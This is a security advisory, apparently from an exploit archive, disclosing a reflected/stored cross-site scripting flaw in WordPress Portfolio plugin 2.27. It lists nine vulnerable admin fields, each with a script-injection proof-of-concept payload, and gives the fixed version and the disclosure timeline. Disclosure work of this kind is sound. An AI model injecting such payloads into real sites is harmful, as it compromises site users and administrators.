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WordPress Portfolio 2.27 Cross Site Scripting

WordPress Portfolio 2.27 Cross Site Scripting
Posted Dec 17, 2015
Authored by Madhu Akula

WordPress Portfolio plugin version 2.27 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 379184597df3e9d717a3832e7f147e83

WordPress Portfolio 2.27 Cross Site Scripting

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Plugin Name : Portfolio

Effected Version : 2.27 (and most probably lower version's if any)

Vulnerability : A3-Cross-Site Scripting (XSS)

Identified by : Madhu Akula



Technical Details

Minimum Level of Access Required : Administrator

PoC - (Proof of Concept) :

The following fields put the payload as below

http://localhost/wp-admin/admin.php?page=portfolio.php

tag-slug = “><script>alert(1)</script>
prtfl_date_text_field = “><script>alert(2)</script>
prtfl_link_text_field = “><script>alert(3)</script>
prtfl_shrdescription_text_field = “><script>alert(4)</script>
prtfl_description_text_field = “><script>alert(5)</script>
prtfl_svn_text_field = “><script>alert(6)</script>
prtfl_executor_text_field = “><script>alert(7)</script>
prtfl_screenshot_text_field = “><script>alert(8)</script>
prtfl_technologies_text_field = “><script>alert(9)</script>


Vulnerable Parameter : tag-slug, prtfl_date_text_field, prtfl_link_text_field, prtfl_shrdescription_text_field, prtfl_description_text_field, prtfl_svn_text_field, prtfl_executor_text_field, prtfl_screenshot_text_field, prtfl_technologies_text_field


Type of XSS : Reflected / Stored

Fixed in : 2.28

http://wordpress.org/plugins/portfolio/changelog/

Disclosure Timeline

Vendor Contacted : 2014-08-04

Plugin Status : Updated on 2014-08-07

Public Disclosure : October 3, 2015

CVE Number : Not assigned yet

Plugin Description :

With the Portfolio plugin you can create a unique page for displaying portfolio items consisting of screenshots and additional information such as description, short description, URL, date of completion, etc. Moreover you can add not just one, but many screenshots to one portfolio item for better visual guidance.

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